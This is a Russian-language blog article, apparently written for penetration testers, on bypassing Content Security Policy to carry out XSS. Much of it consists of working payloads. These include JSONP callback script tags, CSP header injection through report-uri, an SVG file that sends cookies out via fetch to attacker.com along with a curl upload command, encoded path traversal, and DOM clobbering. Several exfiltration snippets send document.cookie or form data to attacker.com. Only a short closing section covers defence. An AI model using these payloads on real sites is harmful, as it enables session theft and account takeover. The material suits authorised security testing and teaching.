XSS через CSP: как обойти политику, которую «настроили правильно»
«CSP — это не стена, это переговоры. И ты всегда можешь найти дипломатический канал для своего payload.» 😈
Content Security Policy должна была стать финальным гвоздём в крышку гроба XSS. Не стала. Даже «правильно настроенный» CSP ломается через JSONP, wildcard-домены, устаревшие директивы и creative use of legitimate script inclusions. Разработчики ставят галочку «CSP включён» и спят спокойно — а зря.
🛡️ Сначала — почему CSP вообще ломается
CSP работает через whitelist источников: откуда можно грузить скрипты, стили, фреймы. Проблема в том, что почти невозможно составить whitelist, который одновременно строгий и не ломает продакшн. Разработчики выбирают удобство — и получают дыры.
Три типичных сценария "ломаного" CSP:
→ CSP полностью отсутствует — просто нет заголовка
→ CSP в режиме Report-Only — политика не enforced, только логирует
→ CSP есть, но с широкими whitelist или unsafe-* директивами
Быстрая проверка на входе:
curl -I https://target.com | grep -i "content-security-policy"
# Если видишь Content-Security-Policy-Report-Only — джекпот 🎯
# Политика существует, но браузер её НЕ применяет [web:50]
🎭 Вектор 1: JSONP-эндпоинты в whitelist
Самая частая ошибка. Разработчик добавляет в script-src домен третьей стороны (Google, аналитика, CDN) — не думая, что на этом домене может висеть JSONP callback.
Content-Security-Policy: script-src 'self' https://accounts.google.com;
Если на accounts.google.com (или любом whitelisted домене) есть JSONP-эндпоинт с открытым callback-параметром — ты можешь заставить браузер выполнить произвольный JS:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(document.cookie)"></script>
💡 Лайфхак: ищи JSONP на whitelisted доменах через intitle:»jsonp» site:whitelisted-domain.com или просматривай их API-документацию на callback=, jsonp=, cb= параметры.
Известные JSONP-доноры (проверяй, живы ли):
→ Google APIs (некоторые legacy эндпоинты)
→ Yandex Maps API
→ Angular.js CDN сборки со встроенным JSONP
→ Внутренние legacy API компании (самое частое в реальных пентестах)
🪞 Вектор 2: CSP через инъекцию в сам заголовок
Если приложение динамически генерирует CSP-заголовок и позволяет тебе влиять на его содержимое (например, через report-uri с пользовательским параметром) — ты можешь переписать директиву прямо в самой политике.
Классический PortSwigger лаб: приложение отражает параметр в report-uri, но не валидирует его:
Content-Security-Policy: script-src 'self'; report-uri /csp-report?token=USER_INPUT
# Инъекция через token параметр — добавляем свою директиву
?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
Итоговый заголовок превращается в:
Content-Security-Policy: script-src 'self'; report-uri /csp-report?token=;script-src-elem 'unsafe-inline'
Браузер видит последнее объявление script-src-elem как приоритетное — и твой inline-script выполняется.
🔁 Вектор 3: Nonce reuse и кеш браузера
Nonce (одноразовый токен для inline-скриптов) — золотой стандарт CSP. Но если nonce предсказуем, повторяется между сессиями, или его можно вытащить из кеша — вся защита рассыпается.
<!-- Правильный CSP с nonce -->
Content-Security-Policy: script-src 'nonce-r4nd0mV4lu3';
<script nonce="r4nd0mV4lu3">/* легитимный код */</script>
Атака через дисковый кеш браузера — свежая техника 2025 года: если страница с известным nonce закешировалась браузером, а сервер переиспользует тот же nonce для новой сессии (баг реализации, но встречается часто) — атакующий может восстановить nonce из кеша и вставить свой <script> с тем же значением.
# Проверка на nonce reuse — открой страницу дважды, сравни nonce
curl -s https://target.com/ | grep -oP 'nonce="[^"]+"'
curl -s https://target.com/ | grep -oP 'nonce="[^"]+"'
# Если nonce одинаковый между запросами — уязвимость подтверждена
🖼️ Вектор 4: SVG и MIME-type трюки
Свежий CVE-2026-27578 в n8n — красивый пример того, как denylist подхода к CSP sandbox ломается через нестандартный Content-Type. Вместо блокировки известных «опасных» MIME-типов (text/html), приложение пропускало image/svg+xml — а SVG может содержать исполняемый JS.
<!-- payload.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
</svg>
# Загружаем с правильным Content-Type, обходя denylist
curl -X POST https://target.com/upload \
-H "Content-Type: image/svg+xml" \
--data-binary @payload.svg
🔥 Правило: denylist — это всегда список того, что разработчик подумал заблокировать. Allowlist — единственный правильный подход, но 90% CSP в проде на denylist.
📁 Вектор 5: Path traversal внутри whitelisted путей
Если CSP разрешает скрипты только из конкретной папки (script-src https://target.com/company/), браузеры некорректно обрабатывают закодированные ../ последовательности.
Content-Security-Policy: script-src https://target.com/company/;
<!-- Bypass через закодированный path traversal -->
<script src="https://target.com/company%2f..%2fattacker/evil.js"></script>
Если сервер декодирует %2f..%2f до выдачи файла браузеру — CSP всё равно считает URL «внутри» разрешённой папки, а сервер отдаёт файл из совсем другой директории.
🧬 Вектор 6: DOM Clobbering и Mutation XSS
Продвинутые техники 2026 года, которые обходят CSP без единого запрещённого домена:
→ DOM Clobbering — переопределяешь глобальные переменные через
HTML-элементы с id/name, ломая логику CSP-проверок в JS
→ Mutation XSS (mXSS) — payload безопасен ДО санитайзера,
но браузер "мутирует" DOM после парсинга, создавая исполняемый код
→ Prototype pollution → CSP bypass — загрязняешь прототип объекта,
меняя поведение security-функций приложения
<!-- DOM Clobbering пример -->
<a id="config" href="javascript:alert(1)"></a>
<!-- Если JS-код делает window.config.href, ожидая объект,
а получает этот <a> элемент — логика ломается -->
🧨 Эксфильтрация данных при «непробиваемом» CSP
Даже если ты не можешь выполнить полноценный <script>, но нашёл injection point — можно вытащить данные через легитимные механизмы:
<!-- Location redirect — работает почти всегда -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>
<!-- Meta refresh — если script-src заблокирован полностью -->
<meta http-equiv="refresh" content="0; url=https://attacker.com/?leak=data">
<!-- Через form action, если форма присутствует -->
<form action="https://attacker.com/exfil" method="POST" id="f">
<input type="hidden" name="data" value="SECRET">
</form>
<script>document.getElementById('f').submit()</script>
✅ Чеклист пентестера: как ломать CSP
1. Проверь наличие заголовка вообще
curl -I https://target.com | grep -i content-security-policy
2. Проверь Report-Only режим
curl -I https://target.com | grep -i "content-security-policy-report-only"
3. Разбери whitelist на JSONP-доноры
Проверь каждый whitelisted домен на открытые JSONP callback
4. Ищи injection points в самой CSP (report-uri, nonce source)
5. Проверь nonce на предсказуемость/повторяемость между запросами
6. Тестируй upload endpoints на SVG/MIME-type трюки
7. Проверь whitelisted paths на path traversal через %2f..%2f
8. Если ничего не сработало — DOM Clobbering / mXSS / prototype pollution
# Автоматизация — CSP Evaluator от Google
# https://csp-evaluator.withgoogle.com/
# Вставь заголовок — инструмент покажет известные слабости
# Nuclei template для CSP misconfig
nuclei -u https://target.com -t misconfiguration/csp/
🏆 Как реально защититься (для тех, кто по другую сторону)
- strict-dynamic + nonce вместо доменных whitelist — минимизирует JSONP-риски
- Никогда unsafe-inline и unsafe-eval — даже «временно», даже «только для админки»
- Allowlist MIME-типов при аплоаде, не denylist — учись на ошибке n8n
- Уникальный nonce на каждый рендер страницы, никогда не кешируй с nonce в URL
Итог: «Правильно настроенный CSP» — это миф до тех пор, пока ты не проверил whitelist на JSONP, nonce на повторяемость, и upload на MIME-трюки. WAF — не стена, CSP — тем более. Это просто ещё один слой, который нужно продавить с правильным payload’ом. 😎
Похожие статьи

GraphQL: интроспекция включена, безопасность — нет

BOLA/IDOR в REST API: итерируй всё подряд и молчи
